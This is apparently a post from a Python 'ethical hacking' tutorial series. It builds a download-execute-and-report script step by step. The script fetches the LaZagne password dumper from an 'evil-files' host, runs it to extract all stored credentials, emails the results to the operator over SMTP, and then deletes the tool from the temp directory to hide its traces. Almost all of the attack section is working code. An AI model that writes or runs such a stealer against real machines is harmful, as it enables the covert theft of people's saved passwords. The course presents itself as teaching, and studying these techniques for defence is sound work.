Python Ethical Hacking - Malware Analysis(4)
2024-08-30 00:59:56
DOWNLOAD_FILE
- Download files on a system.
- Once packaged properly will work on all operating systems.
- Simple but powerfull.
Can be used in many situations:
- download _file + execute_command = download_and_execute
- download_file + execute_and_report = download_execute_and_report
- ...etc
#!/usr/bin/env python
import requests def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")
DOWNLOAD_EXECUTE_AND_REPORT
- Download files on a system.
- Execute a command that uses this file.
- Report results in our email.
- Cross multi-Platform!!
Ex: remotely steal all stored passwords on a computer!
Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne
lazagne.exe --help
Use the following command to find all the passwords in the current system.
lazagne.exe all
Steal saved passwords remotely
#!/usr/bin/env python
import requests
import smtplib
import subprocess def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit() download("http://10.0.0.43/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe all", shell=True)
print(result.decode())
send_mail("aaaa@gmail.com", "", result)
Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed.
#!/usr/bin/env python
import os
import smtplib
import subprocess
import requests
import tempfile def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit() temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
download("http://10.0.0.43/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe all", shell=True)
print(result.decode())
send_mail("aaaa@gmail.com", "", result)
os.remove("lazagne.exe")
最新文章
- Java列表
- LintCode Sort Colors
- C#生成随机字符串(数字,字母,特殊符号)
- V8 data struct
- ZooKeeper 笔记(2) 监听数据变化
- OC中NSDictionary(字典)、NSMutableDictionary(可变字典)、NSSet(集合)、NSMutableSet(可变集合)得常用方法
- phpexcel来做表格导出(多个工作sheet)
- hnsd11348tree(并查集)
- GO逆转字符串
- (原)Ubuntu16中卸载并重新安装google的Protocol Buffers
- zip文件压缩(转)
- C#文件流写入方法
- win10下配置php环境变量
- BZOJ_4873_[Shoi2017]寿司餐厅_最大权闭合子图
- [rhel]安装oracle11g
- 《Java编程思想》读书笔记-基本规范、注释、static关键字、import关键字
- C# DGVPrinter.cs 打印方法
- spark之 spark 2.2.0 Standalone安装、wordCount演示
- 实用的IOS应用程序框架
- SQL获取当前日期的年、月、日、时、分、秒数据